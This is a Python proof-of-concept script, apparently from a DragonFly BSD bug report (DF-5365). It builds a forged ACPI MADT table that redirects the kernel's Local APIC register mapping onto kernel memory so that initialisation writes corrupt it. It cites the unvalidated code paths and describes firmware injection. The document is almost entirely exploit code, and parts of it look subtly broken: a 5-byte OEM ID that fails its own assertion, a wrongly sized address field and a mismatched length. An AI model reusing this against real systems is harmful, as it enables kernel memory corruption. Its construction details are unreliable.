DF-5365 / gen_madt.py
#!/usr/bin/env python3 """ DF-5365: conceptual malicious MADT -- LocalApicAddr points the kernel's Local APIC register page at an ARBITRARY physical address (here: the physical page of kernel data, 0x1000000-region on a default DragonFly boot) instead of the real APIC at 0xFEE00000. madt_lapic_probe/madt_lapic_enumerate pass this value to lapic_map() unvalidated (only the value 0 is special-cased, acpi_madt.c:479-487); lapic_map() (lapic.c:1081-1085) maps it, and lapic_init()'s register stores (lapic.c:272-408) then write into that page. Emit: python3 gen_madt.py > df5365_madt.aml (for reference/firmware injection on rigs where the platform MADT can be replaced, e.g. patched SeaBIOS/pflash; -acpitable cannot override QEMU's own APIC table because sdt_search() returns the first match). """ import struct SIGNATURE = b'APIC' LOCAL_APIC_ADDR = 0x01000000 # <- attacker-chosen PA (kernel region) FLAGS = 1 # PCAT_COMPAT def local_apic(processor_id, apic_id, flags): return struct.pack('<BBBBI', 0, 8, processor_id, apic_id, flags) body = local_apic(0, 0, 1) # BSP body += local_apic(1, 1, 1) # one AP: keeps enumeration sane so we # reach lapic_init() and its stores madt_body = struct.pack('<QI', LOCAL_APIC_ADDR, FLAGS) + body oem_id = b'DFLY ' oem_tbl = b'EVILLAPI' creator = b'INTL' length = 36 + 8 + len(body) + 8 # header + madt hdr + entries (checksum # patched after header build) hdr = SIGNATURE + struct.pack('<I', length) + bytes([3, 1]) hdr += oem_id + oem_tbl + struct.pack('<I', 0) + creator + struct.pack('<I', 0) assert len(hdr) == 36, len(hdr) tbl = hdr + madt_body c = (-sum(tbl)) & 0xFF tbl = tbl[:9] + bytes([c]) + tbl[10:] import sys sys.stdout.buffer.write(tbl) |